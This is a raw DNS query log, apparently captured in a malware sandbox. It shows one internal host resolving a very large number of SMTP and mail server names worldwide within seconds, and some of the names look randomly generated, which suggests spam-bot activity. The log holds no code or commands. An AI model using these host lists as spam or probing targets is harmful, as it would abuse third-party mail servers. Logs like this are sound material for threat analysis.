May 19, 2024 17:27:45.582328081 CEST	1.1.1.1	192.168.2.4	0xc852	No error (0)	mail.absamail.co.za	webmail.lantic.net		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:45.582328081 CEST	1.1.1.1	192.168.2.4	0xc852	No error (0)	webmail.lantic.net	webmail.vox.co.za		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:45.582328081 CEST	1.1.1.1	192.168.2.4	0xc852	No error (0)	webmail.vox.co.za		41.193.157.227	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:45.731420040 CEST	1.1.1.1	192.168.2.4	0xcc6f	No error (0)	securesmtp.lycos.it	www.lycos.it		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:45.731420040 CEST	1.1.1.1	192.168.2.4	0xcc6f	No error (0)	www.lycos.it		209.202.254.90	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:45.761784077 CEST	1.1.1.1	192.168.2.4	0x25ad	No error (0)	korea.com		119.205.213.227	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:45.812127113 CEST	1.1.1.1	192.168.2.4	0xdba8	Name error (3)	smtp.st.tcedu.tw	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:45.812179089 CEST	1.1.1.1	192.168.2.4	0xdba8	Name error (3)	smtp.st.tcedu.tw	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:45.901036024 CEST	1.1.1.1	192.168.2.4	0x3164	No error (0)	tiscali.cz		77.78.119.119	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:45.901036024 CEST	1.1.1.1	192.168.2.4	0x3164	No error (0)	tiscali.cz		77.78.119.204	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:45.901036024 CEST	1.1.1.1	192.168.2.4	0x3164	No error (0)	tiscali.cz		109.123.210.26	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:45.913242102 CEST	1.1.1.1	192.168.2.4	0x3591	No error (0)	sinotechltd.co.uk		83.223.113.41	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:45.932627916 CEST	1.1.1.1	192.168.2.4	0x1b10	No error (0)	smtp.ice.co.cr		201.193.191.44	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:46.005084038 CEST	1.1.1.1	192.168.2.4	0x5384	Name error (3)	securesmtp.thebusiness6.com	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:46.019638062 CEST	1.1.1.1	192.168.2.4	0x7e44	Name error (3)	smtp.mv-hallstadt.de	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:46.197268963 CEST	1.1.1.1	192.168.2.4	0xc912	Name error (3)	smtp.riri.com	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:46.207019091 CEST	1.1.1.1	192.168.2.4	0xeab4	No error (0)	freent.de		62.104.23.16	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:46.372040033 CEST	1.1.1.1	192.168.2.4	0x569b	Name error (3)	out.viebo.co.uk	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:46.392651081 CEST	1.1.1.1	192.168.2.4	0xce9a	Name error (3)	smtp.gadsag.com	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:46.407985926 CEST	1.1.1.1	192.168.2.4	0x2a71	No error (0)	misericordia.co.uk		91.103.219.229	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:46.938183069 CEST	1.1.1.1	192.168.2.4	0xffe4	No error (0)	mail.aydinyener.com		92.42.36.37	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:46.956298113 CEST	1.1.1.1	192.168.2.4	0xaaaf	Name error (3)	mail.jodehv.com	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:47.014811039 CEST	1.1.1.1	192.168.2.4	0x6c07	Name error (3)	out.kk-class.co.jp	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:47.073538065 CEST	1.1.1.1	192.168.2.4	0xb960	No error (0)	poczta.pl		194.181.93.175	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:47.159113884 CEST	1.1.1.1	192.168.2.4	0x8ed	Name error (3)	secure.dn.tui.ua	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:47.203176975 CEST	1.1.1.1	192.168.2.4	0x18ff	Server failure (2)	mail.memoryjoggingpuzzles.com	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:47.208940983 CEST	1.1.1.1	192.168.2.4	0x18ff	Server failure (2)	mail.memoryjoggingpuzzles.com	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:47.208996058 CEST	1.1.1.1	192.168.2.4	0x18ff	Server failure (2)	mail.memoryjoggingpuzzles.com	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:47.209028959 CEST	1.1.1.1	192.168.2.4	0x18ff	Server failure (2)	mail.memoryjoggingpuzzles.com	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:47.300838947 CEST	1.1.1.1	192.168.2.4	0xe4cf	Name error (3)	out.tokachi-menkoubou.co.jp	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:47.479583025 CEST	1.1.1.1	192.168.2.4	0x25d	No error (0)	cdtm.de		129.187.254.228	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:47.479609966 CEST	1.1.1.1	192.168.2.4	0x4b1e	Name error (3)	smtp.fteechal.com	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:47.714185953 CEST	1.1.1.1	192.168.2.4	0x501b	No error (0)	mail.itatraducciones.com		82.98.132.37	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:47.760925055 CEST	1.1.1.1	192.168.2.4	0x18cf	No error (0)	colel.pub.ro		141.85.160.41	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:47.921914101 CEST	1.1.1.1	192.168.2.4	0x2ff0	Name error (3)	out.grigon.com	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:48.026551008 CEST	1.1.1.1	192.168.2.4	0x6d97	Name error (3)	secure.xxjouhxiwrft.com	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:48.145462990 CEST	1.1.1.1	192.168.2.4	0xd3b0	No error (0)	mail.clds.net	mail-clds.centurylink.net		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:48.145462990 CEST	1.1.1.1	192.168.2.4	0xd3b0	No error (0)	mail-clds.centurylink.net	lumen.pangia.biz		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:48.145462990 CEST	1.1.1.1	192.168.2.4	0xd3b0	No error (0)	lumen.pangia.biz		209.67.129.100	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:48.339163065 CEST	1.1.1.1	192.168.2.4	0xec23	Name error (3)	out.garnb.cn	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:48.470978975 CEST	1.1.1.1	192.168.2.4	0x2d7	No error (0)	nx51.mymxserver.com		188.94.251.250	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:48.572266102 CEST	1.1.1.1	192.168.2.4	0x3eae	No error (0)	mail.edhec.com	outlook.office365.com		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:48.572266102 CEST	1.1.1.1	192.168.2.4	0x3eae	No error (0)	outlook.office365.com	ooc-g2.tm-4.office.com		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:48.572266102 CEST	1.1.1.1	192.168.2.4	0x3eae	No error (0)	ooc-g2.tm-4.office.com	outlook.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:48.572266102 CEST	1.1.1.1	192.168.2.4	0x3eae	No error (0)	outlook.ms-acdc.office.com	FRA-efz.ms-acdc.office.com		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:48.572266102 CEST	1.1.1.1	192.168.2.4	0x3eae	No error (0)	FRA-efz.ms-acdc.office.com		40.99.157.50	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:48.572266102 CEST	1.1.1.1	192.168.2.4	0x3eae	No error (0)	FRA-efz.ms-acdc.office.com		52.98.252.226	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:48.572266102 CEST	1.1.1.1	192.168.2.4	0x3eae	No error (0)	FRA-efz.ms-acdc.office.com		52.98.252.130	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:48.613672972 CEST	1.1.1.1	192.168.2.4	0xa4c3	Server failure (2)	smtp.cchellenic.co	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:48.690200090 CEST	1.1.1.1	192.168.2.4	0x3b1e	Name error (3)	securesmtp.gnikuln.com	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:48.700223923 CEST	1.1.1.1	192.168.2.4	0x4cb3	No error (0)	etatourism.com		185.53.177.51	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:48.760979891 CEST	1.1.1.1	192.168.2.4	0xc982	Name error (3)	securesmtp.vdm.com.br	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:48.870275021 CEST	1.1.1.1	192.168.2.4	0x596	No error (0)	smtp.azet.sk		91.235.53.41	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:48.870336056 CEST	1.1.1.1	192.168.2.4	0xe0c3	Name error (3)	securesmtp.floodcontrol.co.uk	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:49.039505959 CEST	1.1.1.1	192.168.2.4	0xeae9	No error (0)	smtp.frontiernet.net	relay.glb.frontiernet.net		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:49.039505959 CEST	1.1.1.1	192.168.2.4	0xeae9	No error (0)	relay.glb.frontiernet.net		66.133.129.10	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:49.136141062 CEST	1.1.1.1	192.168.2.4	0x6fb8	No error (0)	mail.riz-itmotion.de	pop.mk-netzdienste.de		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:49.136141062 CEST	1.1.1.1	192.168.2.4	0x6fb8	No error (0)	pop.mk-netzdienste.de		213.172.96.34	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:49.162030935 CEST	1.1.1.1	192.168.2.4	0xef74	No error (0)	smtp.phnet.fi		83.102.40.117	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:49.233234882 CEST	1.1.1.1	192.168.2.4	0xfbef	Name error (3)	securesmtp.mesnet.com.br	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:49.276592970 CEST	1.1.1.1	192.168.2.4	0x8dc4	No error (0)	smtp.ptsi.co.id		103.82.242.210	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:49.276592970 CEST	1.1.1.1	192.168.2.4	0x8dc4	No error (0)	smtp.ptsi.co.id		103.82.242.209	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:49.276623011 CEST	1.1.1.1	192.168.2.4	0x8dc4	No error (0)	smtp.ptsi.co.id		103.82.242.210	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:49.276623011 CEST	1.1.1.1	192.168.2.4	0x8dc4	No error (0)	smtp.ptsi.co.id		103.82.242.209	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:49.292253971 CEST	1.1.1.1	192.168.2.4	0xbc0	Name error (3)	securesmtp.rice.cn.ne.jp	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:49.480036020 CEST	1.1.1.1	192.168.2.4	0xac23	No error (0)	mail.bresnan.net		47.43.18.10	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:49.489948034 CEST	1.1.1.1	192.168.2.4	0xc55	Name error (3)	secure.xilfee.eu	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:49.754108906 CEST	1.1.1.1	192.168.2.4	0xf4ff	No error (0)	mx37.mb5p.com		164.90.197.79	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:49.754108906 CEST	1.1.1.1	192.168.2.4	0xf4ff	No error (0)	mx37.mb5p.com		147.182.130.78	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:49.754108906 CEST	1.1.1.1	192.168.2.4	0xf4ff	No error (0)	mx37.mb5p.com		164.90.197.162	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:49.754108906 CEST	1.1.1.1	192.168.2.4	0xf4ff	No error (0)	mx37.mb5p.com		147.182.189.184	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:49.754108906 CEST	1.1.1.1	192.168.2.4	0xf4ff	No error (0)	mx37.mb5p.com		147.182.160.18	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:49.754108906 CEST	1.1.1.1	192.168.2.4	0xf4ff	No error (0)	mx37.mb5p.com		164.90.197.105	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:49.754108906 CEST	1.1.1.1	192.168.2.4	0xf4ff	No error (0)	mx37.mb5p.com		164.90.197.143	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:49.754108906 CEST	1.1.1.1	192.168.2.4	0xf4ff	No error (0)	mx37.mb5p.com		147.182.180.139	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:49.859385967 CEST	1.1.1.1	192.168.2.4	0x5175	No error (0)	mx.breakthur.com		164.90.203.106	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:49.869191885 CEST	1.1.1.1	192.168.2.4	0x75aa	Name error (3)	securesmtp.annexio.com	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:49.947310925 CEST	1.1.1.1	192.168.2.4	0xffca	Name error (3)	secure.hwht.co.kr	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:50.089411020 CEST	1.1.1.1	192.168.2.4	0x85c	Name error (3)	securesmtp.homecooking.com.br	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:50.333643913 CEST	1.1.1.1	192.168.2.4	0x3504	Name error (3)	out.aechac.com.mx	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:50.393605947 CEST	1.1.1.1	192.168.2.4	0x3e78	No error (0)	smtp.univ-lorraine.fr	mta-out.mel.univ-lorraine.fr		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:50.393605947 CEST	1.1.1.1	192.168.2.4	0x3e78	No error (0)	mta-out.mel.univ-lorraine.fr		193.54.32.8	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:50.511353970 CEST	1.1.1.1	192.168.2.4	0x9fec	No error (0)	deepcds.com		208.91.197.132	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:50.590133905 CEST	1.1.1.1	192.168.2.4	0x8246	No error (0)	osmosispromo.co.uk		91.192.195.37	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:50.625427961 CEST	1.1.1.1	192.168.2.4	0x5c23	Name error (3)	smtp.transwaggon.fr	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:50.642874002 CEST	1.1.1.1	192.168.2.4	0x2a0f	No error (0)	smtp.skynet.be	relay.glb.proximus.be		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:50.642874002 CEST	1.1.1.1	192.168.2.4	0x2a0f	No error (0)	relay.glb.proximus.be		195.238.20.30	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:50.731637001 CEST	1.1.1.1	192.168.2.4	0xfb33	No error (0)	smtp.newprestitempo.it		62.149.128.202	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:50.731637001 CEST	1.1.1.1	192.168.2.4	0xfb33	No error (0)	smtp.newprestitempo.it		62.149.128.201	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:50.731637001 CEST	1.1.1.1	192.168.2.4	0xfb33	No error (0)	smtp.newprestitempo.it		62.149.128.200	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:50.731637001 CEST	1.1.1.1	192.168.2.4	0xfb33	No error (0)	smtp.newprestitempo.it		62.149.128.203	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:50.742315054 CEST	1.1.1.1	192.168.2.4	0x6aa0	Name error (3)	secure.memorialpecasford.com.br	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:50.886024952 CEST	1.1.1.1	192.168.2.4	0x1a21	No error (0)	smtp.tds.net	mail.tds.syn-alias.com		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:50.886024952 CEST	1.1.1.1	192.168.2.4	0x1a21	No error (0)	mail.tds.syn-alias.com		129.159.94.43	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:50.886039019 CEST	1.1.1.1	192.168.2.4	0x42ea	No error (0)	vodafone.it		45.60.76.192	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:50.886039019 CEST	1.1.1.1	192.168.2.4	0x42ea	No error (0)	vodafone.it		45.60.85.192	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:51.061331987 CEST	1.1.1.1	192.168.2.4	0xdebd	No error (0)	optusnet.com.au		211.29.132.105	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:51.113256931 CEST	1.1.1.1	192.168.2.4	0x5801	No error (0)	out.kaptaine.com		154.55.194.116	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:51.214396954 CEST	1.1.1.1	192.168.2.4	0xb138	Name error (3)	colpax.sk	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:51.214428902 CEST	1.1.1.1	192.168.2.4	0x2022	No error (0)	smtp.centrum.sk	smtp-relay-centrumsk.centrum.cz		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:51.214428902 CEST	1.1.1.1	192.168.2.4	0x2022	No error (0)	smtp-relay-centrumsk.centrum.cz		46.255.231.19	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:51.257850885 CEST	1.1.1.1	192.168.2.4	0xd587	No error (0)	mail.druckpunkt-bb.de		185.53.178.50	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:51.339134932 CEST	1.1.1.1	192.168.2.4	0xcab	No error (0)	smtp.knology.net	mail2.knology.syn-alias.com		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:51.339134932 CEST	1.1.1.1	192.168.2.4	0xcab	No error (0)	mail2.knology.syn-alias.com		129.159.125.229	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:51.512010098 CEST	1.1.1.1	192.168.2.4	0x4039	Name error (3)	secure.envirovac.co.uk	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:51.512025118 CEST	1.1.1.1	192.168.2.4	0x7914	Name error (3)	secure.rodriguezortega.org	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:51.512039900 CEST	1.1.1.1	192.168.2.4	0x7231	Name error (3)	smtp.excite.co.jp	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:51.637648106 CEST	1.1.1.1	192.168.2.4	0x8b2c	No error (0)	us-smtp-inbound-2.mimecast.com		207.211.30.141	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:51.637648106 CEST	1.1.1.1	192.168.2.4	0x8b2c	No error (0)	us-smtp-inbound-2.mimecast.com		207.211.30.242	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:51.637648106 CEST	1.1.1.1	192.168.2.4	0x8b2c	No error (0)	us-smtp-inbound-2.mimecast.com		205.139.110.141	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:51.637648106 CEST	1.1.1.1	192.168.2.4	0x8b2c	No error (0)	us-smtp-inbound-2.mimecast.com		207.211.30.221	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:51.637648106 CEST	1.1.1.1	192.168.2.4	0x8b2c	No error (0)	us-smtp-inbound-2.mimecast.com		205.139.110.242	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:51.637648106 CEST	1.1.1.1	192.168.2.4	0x8b2c	No error (0)	us-smtp-inbound-2.mimecast.com		205.139.110.221	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:51.637677908 CEST	1.1.1.1	192.168.2.4	0x1bc8	Name error (3)	mail.casonadelcentro.com	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:51.689882040 CEST	1.1.1.1	192.168.2.4	0x9d15	No error (0)	smtp.konto.pl		81.2.195.204	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:52.153175116 CEST	1.1.1.1	192.168.2.4	0xb251	No error (0)	smtp.winreach.com	smtp.exmail.qq.com		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:52.153175116 CEST	1.1.1.1	192.168.2.4	0xb251	No error (0)	smtp.exmail.qq.com	smtp-v6.exmail.qq.com		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:52.153175116 CEST	1.1.1.1	192.168.2.4	0xb251	No error (0)	smtp-v6.exmail.qq.com		124.156.190.79	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:52.153175116 CEST	1.1.1.1	192.168.2.4	0xb251	No error (0)	smtp-v6.exmail.qq.com		101.32.113.90	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:52.901295900 CEST	1.1.1.1	192.168.2.4	0xb3e7	Name error (3)	smtp.childcarequeensland.com.au	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:53.195040941 CEST	1.1.1.1	192.168.2.4	0xb3e7	Name error (3)	smtp.childcarequeensland.com.au	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:53.195070028 CEST	1.1.1.1	192.168.2.4	0xb251	No error (0)	smtp.winreach.com	smtp.exmail.qq.com		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:53.195070028 CEST	1.1.1.1	192.168.2.4	0xb251	No error (0)	smtp.exmail.qq.com	smtp-v6.exmail.qq.com		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:53.195070028 CEST	1.1.1.1	192.168.2.4	0xb251	No error (0)	smtp-v6.exmail.qq.com		124.156.190.79	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:53.195070028 CEST	1.1.1.1	192.168.2.4	0xb251	No error (0)	smtp-v6.exmail.qq.com		101.32.113.90	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:53.199805021 CEST	1.1.1.1	192.168.2.4	0x449c	Name error (3)	secure.dpa-nc.com	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:53.199836016 CEST	1.1.1.1	192.168.2.4	0x2f2a	No error (0)	smtp.cs.com	smtp.aol.g03.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:53.199836016 CEST	1.1.1.1	192.168.2.4	0x2f2a	No error (0)	smtp.aol.g03.yahoodns.net		87.248.97.31	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:53.204592943 CEST	1.1.1.1	192.168.2.4	0x8159	No error (0)	sharjah.ac.ae		194.170.95.221	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:53.214077950 CEST	1.1.1.1	192.168.2.4	0x91e8	No error (0)	securesmtp.gelbdesign.de		92.205.48.138	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:53.233284950 CEST	1.1.1.1	192.168.2.4	0x84da	No error (0)	mail.thornberg.com		173.203.187.14	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:53.238045931 CEST	1.1.1.1	192.168.2.4	0xc67	Name error (3)	securesmtp.marcusmetz.de	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:53.247703075 CEST	1.1.1.1	192.168.2.4	0xedad	No error (0)	mx-avas.mvmnet.com		94.143.153.79	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:53.274168015 CEST	1.1.1.1	192.168.2.4	0xc945	Name error (3)	out.montezemolo.net	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:53.278983116 CEST	1.1.1.1	192.168.2.4	0xd134	No error (0)	tiscalinet.it		213.205.32.10	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:53.288892984 CEST	1.1.1.1	192.168.2.4	0x5c9b	No error (0)	mail.atlanticbb.net		38.111.141.32	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:53.369851112 CEST	1.1.1.1	192.168.2.4	0x85d1	No error (0)	alberry.co.uk		217.160.233.82	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:53.379707098 CEST	1.1.1.1	192.168.2.4	0x6915	Name error (3)	brtph7ee.bnr.ca	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:53.424149036 CEST	1.1.1.1	192.168.2.4	0xc67	No error (0)	inovaadministradora.com.br		162.241.203.50	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:53.449579954 CEST	1.1.1.1	192.168.2.4	0x82fd	No error (0)	gwynhicks-com.mail.protection.outlook.com		52.101.194.0	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:53.449579954 CEST	1.1.1.1	192.168.2.4	0x82fd	No error (0)	gwynhicks-com.mail.protection.outlook.com		52.101.10.6	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:53.449579954 CEST	1.1.1.1	192.168.2.4	0x82fd	No error (0)	gwynhicks-com.mail.protection.outlook.com		52.101.9.5	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:53.449579954 CEST	1.1.1.1	192.168.2.4	0x82fd	No error (0)	gwynhicks-com.mail.protection.outlook.com		52.101.10.14	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:53.449579954 CEST	1.1.1.1	192.168.2.4	0x82fd	No error (0)	gwynhicks-com.mail.protection.outlook.com		52.101.40.0	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:53.449579954 CEST	1.1.1.1	192.168.2.4	0x82fd	No error (0)	gwynhicks-com.mail.protection.outlook.com		52.101.11.2	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:53.449579954 CEST	1.1.1.1	192.168.2.4	0x82fd	No error (0)	gwynhicks-com.mail.protection.outlook.com		52.101.41.4	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:53.454346895 CEST	1.1.1.1	192.168.2.4	0xc0ca	Name error (3)	securesmtp.clubinternet.fr	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:53.542162895 CEST	1.1.1.1	192.168.2.4	0xaf45	Name error (3)	secure.cineyug.com	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:53.726372957 CEST	1.1.1.1	192.168.2.4	0x38a8	No error (0)	smtp.jhoman.co.th		103.13.28.93	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:53.881551027 CEST	1.1.1.1	192.168.2.4	0x841e	No error (0)	mail.hcd.org.tw		60.248.184.187	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:53.891661882 CEST	1.1.1.1	192.168.2.4	0x4cb8	Name error (3)	mail.billigedele.dk	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:54.007781029 CEST	1.1.1.1	192.168.2.4	0x58de	Name error (3)	secure.alissonlima.com.br	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:54.066828966 CEST	1.1.1.1	192.168.2.4	0x827b	No error (0)	mcd.com.pl		212.85.98.214	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:54.362431049 CEST	1.1.1.1	192.168.2.4	0x8ecc	Name error (3)	smtp.lexisricerche.it	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:54.750847101 CEST	1.1.1.1	192.168.2.4	0xcbfb	No error (0)	smtp.iinet.net.au	mail.iinet.net.au		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:54.750847101 CEST	1.1.1.1	192.168.2.4	0xcbfb	No error (0)	mail.iinet.net.au	sep-kakadu03.au-east.atmailcloud.com		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:54.750847101 CEST	1.1.1.1	192.168.2.4	0xcbfb	No error (0)	sep-kakadu03.au-east.atmailcloud.com		52.62.236.135	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:54.750847101 CEST	1.1.1.1	192.168.2.4	0xcbfb	No error (0)	sep-kakadu03.au-east.atmailcloud.com		54.153.230.49	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:55.457962036 CEST	1.1.1.1	192.168.2.4	0xf903	Name error (3)	smtp.physio.ca	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:55.511423111 CEST	1.1.1.1	192.168.2.4	0xd73	Name error (3)	vzikmooepj.com	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:55.511452913 CEST	1.1.1.1	192.168.2.4	0xcb6	No error (0)	smtp.vodafone.de	smtp.vodafonemail.de		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:55.511452913 CEST	1.1.1.1	192.168.2.4	0xcb6	No error (0)	smtp.vodafonemail.de		2.207.150.234	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:55.526947021 CEST	1.1.1.1	192.168.2.4	0x3bcd	Name error (3)	out.kolumbus.fi	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:55.528625011 CEST	1.1.1.1	192.168.2.4	0x8cbb	Name error (3)	out.votredemeure.fr	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:55.745134115 CEST	1.1.1.1	192.168.2.4	0x483a	Name error (3)	mail.gang.bielawa.pl	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:55.745151043 CEST	1.1.1.1	192.168.2.4	0x7e77	No error (0)	smtp.impercettivo.it		62.149.128.200	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:55.745151043 CEST	1.1.1.1	192.168.2.4	0x7e77	No error (0)	smtp.impercettivo.it		62.149.128.203	A (IP address)	IN (0x0001)	false
